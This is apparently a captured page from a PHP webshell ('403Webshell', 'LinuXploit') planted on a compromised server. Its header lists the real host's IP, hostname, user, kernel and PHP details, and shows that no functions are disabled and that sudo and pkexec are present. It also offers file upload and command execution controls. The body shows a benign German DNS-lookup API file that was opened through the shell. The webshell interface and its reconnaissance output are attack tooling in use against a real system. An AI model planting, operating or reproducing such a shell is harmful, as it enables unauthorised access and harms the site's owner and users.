403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client2/web21/web/api/v1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client2/web21/web/api/v1/dnsx.php
<?php
/**
 * Vollständige DNS-Analyse einer Domain → GET /api/v1/dnsx.php?domain=example.com
 *
 * A/AAAA/CNAME/MX/NS/TXT/SOA + SPF/DMARC + TTLs + Reverse/FCrDNS der A-Records.
 *
 * @package SafeMyIdent\Api
 */

declare(strict_types=1);

require __DIR__ . '/../lib/boot2.php';

if (!smi_module_on('dns')) {
    smi_json_error('DNS-Modul ist deaktiviert.', 403);
}

$domain = smi_valid_domain((string) ($_GET['domain'] ?? ''));
if ($domain === null) {
    smi_json_error('Bitte eine gültige Domain angeben.', 422);
}

$cacheKey = 'dnsx|' . $domain;
$hit = smi_cache_get($cacheKey);
if ($hit !== null) {
    smi_json_ok($hit, true);
}

/**
 * TXT-Records eines Namens (zusammengesetzt).
 *
 * @param string $name Name.
 * @return string[]
 */
$txtStrings = static function ($recs): array {
    $out = [];
    foreach ((array) $recs as $r) {
        if (!empty($r['txt'])) { $out[] = (string) $r['txt']; }
        elseif (!empty($r['entries']) && is_array($r['entries'])) { $out[] = implode('', $r['entries']); }
    }
    return $out;
};

// Alle Record-Typen in EINEM Batch (Gateway) bzw. einzeln direkt auflösen.
$res = smi_dns_many([
    ['name' => $domain, 'type' => 'A'], ['name' => $domain, 'type' => 'AAAA'], ['name' => $domain, 'type' => 'CNAME'],
    ['name' => $domain, 'type' => 'MX'], ['name' => $domain, 'type' => 'NS'], ['name' => $domain, 'type' => 'SOA'],
    ['name' => $domain, 'type' => 'TXT'], ['name' => '_dmarc.' . $domain, 'type' => 'TXT'],
]);
[$rA, $rAAAA, $rCNAME, $rMX, $rNS, $rSOA, $rTXT, $rDMARC] = array_pad($res, 8, []);

$records = ['A' => [], 'AAAA' => [], 'CNAME' => [], 'MX' => [], 'NS' => [], 'TXT' => [], 'SOA' => []];
foreach ((array) $rA as $r)     { $records['A'][]    = ['value' => $r['ip'] ?? '', 'ttl' => $r['ttl'] ?? null]; }
foreach ((array) $rAAAA as $r)  { $records['AAAA'][] = ['value' => $r['ipv6'] ?? '', 'ttl' => $r['ttl'] ?? null]; }
foreach ((array) $rCNAME as $r) { if (!empty($r['target'])) { $records['CNAME'][] = ['value' => $r['target'], 'ttl' => $r['ttl'] ?? null]; } }
foreach ((array) $rMX as $r)    { $records['MX'][]   = ['value' => ($r['pri'] ?? '') . ' ' . ($r['target'] ?? ''), 'host' => $r['target'] ?? '', 'pri' => $r['pri'] ?? null, 'ttl' => $r['ttl'] ?? null]; }
foreach ((array) $rNS as $r)    { if (!empty($r['target'])) { $records['NS'][] = ['value' => $r['target'], 'ttl' => $r['ttl'] ?? null]; } }
foreach ($txtStrings($rTXT) as $t) { $records['TXT'][] = ['value' => $t]; }
foreach ((array) $rSOA as $r) {
    $records['SOA'][] = [
        'primary' => $r['mname'] ?? '', 'email' => $r['rname'] ?? '', 'serial' => $r['serial'] ?? null,
        'refresh' => $r['refresh'] ?? null, 'retry' => $r['retry'] ?? null, 'expiry' => $r['expiry'] ?? null,
        'minimum' => $r['minimum-ttl'] ?? null, 'ttl' => $r['ttl'] ?? null,
    ];
}

// SPF / DMARC.
$spf = '';
foreach ($records['TXT'] as $t) {
    if (stripos($t['value'], 'v=spf1') === 0) { $spf = $t['value']; break; }
}
$dmarc = '';
foreach ($txtStrings($rDMARC) as $t) {
    if (stripos($t, 'v=DMARC1') === 0) { $dmarc = $t; break; }
}

// Reverse/FCrDNS der A-Records.
$fcrdns = [];
foreach ($records['A'] as $a) {
    $ip = $a['value'];
    if ($ip === '' || !smi_ip_is_public($ip)) { continue; }
    $ptr = smi_reverse_dns($ip);
    $confirmed = null;
    if ($ptr !== '') {
        $fwd = smi_resolve_public_ips($ptr);
        $confirmed = in_array($ip, $fwd['all'], true);
    }
    $fcrdns[] = ['ip' => $ip, 'ptr' => $ptr, 'confirmed' => $confirmed];
}

$out = [
    'domain'  => $domain,
    'records' => $records,
    'counts'  => array_map('count', $records),
    'spf'     => $spf,
    'dmarc'   => $dmarc,
    'fcrdns'  => $fcrdns,
];
smi_cache_set($cacheKey, $out, (int) ($smi_cfg['cache_ttl'] ?? 900));
smi_json_ok($out);

Youez - 2016 - github.com/yon3zu
LinuXploit